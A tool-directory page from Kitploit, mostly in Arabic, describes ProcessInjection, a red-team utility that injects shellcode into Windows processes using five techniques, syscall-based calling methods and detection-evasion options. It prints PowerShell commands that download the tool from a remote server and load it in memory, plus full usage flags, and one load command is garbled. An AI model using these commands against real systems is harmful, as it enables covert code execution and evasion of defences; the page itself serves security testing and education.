Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ProcessInjection — هذا البرنامج مصمم لتوضيح تقنيات حقن العمليات المختلفة | Kitploit
أدوات/GitHubGitHub/3xpl01tc0d3r/processinjection
تصعيد الامتيازاتأدوات التشفير/فك التشفيرالاستغلالالتهرب من IDS/IPSما بعد الاستغلالالتعلم والتعليمالفريق الأحمراستغلال الملفات الثنائية
GitHub3xpl01tc0d3r/processinjection

ProcessInjection

هذا البرنامج مصمم لتوضيح تقنيات حقن العمليات المختلفة

عرض المستودع
1.3k1914منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ProcessInjection


تم تصميم البرنامج لتنفيذ حقن العمليات (Process Injection). تدعم الأداة حالياً 5 تقنيات لحقن العمليات.

root@kitploit:~
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection

تقبل الأداة الشيل كود (Shellcode) بأربعة تنسيقات.

root@kitploit:~
1) base64
2) hex
3) c
4) raw

تدعم الأداة 4 طرق لتنفيذ حقن العمليات.

root@kitploit:~
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls

تدعم 3 تقنيات لتجنب الاكتشاف.

root@kitploit:~
1) Parent PID Spoofing

Encryption
2) XOR Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
3) AES Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)

يمكن تحميلها عبر الانعكاس (Reflection).

root@kitploit:~
# Load from the disk
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/master/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))

# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))

# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))

استخدام سطر الأوامر

root@kitploit:~
Usage           Description
-----           -----------
/t              Specify the process injection technique id.
                1 = Vanilla Process Injection
                2 = DLL Injection
                3 = Process Hollowing
                4 = APC Queue Injection
				5 = KernelCallbackTable Injection
/m              Specify the method to be used
                p = P/Invoke (Default)
                d = D/Invoke
		ds = Direct Syscalls
		ids = Indirect Syscalls
/f              Specify the format of the shellcode.
                base64
                hex
                c
                raw
/pid            Specify the process id.
/parentproc     Specify the parent process name.
/path           Specify the path of the file that contains the shellcode.
/ppath          Specify the path of the executable that will be spawned (Mandatory while using /parentproc argument).
/url            Specify the url where the shellcode is hosted.
/enc            Specify the encryption type (aes or xor) in which the shellcode is encrypted.
/key            Specify the key that will be used to decrypt the shellcode.
/sc             Specify the shellcode directly in base64 or hex format. Note: To pass large shellcode please leverage reflection to run the program.  
/help           Show help

منشورات المدونة

https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html

https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html

https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html

https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e

https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html

https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html

إشادة بالمساهمين

Renos

كما يعود الفضل أيضاً إلى:

Aaron Bray و Rasta Mouse لكتابة كود Process Hollowing

The Wover و b33f لـ Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)

تنزيل الأداة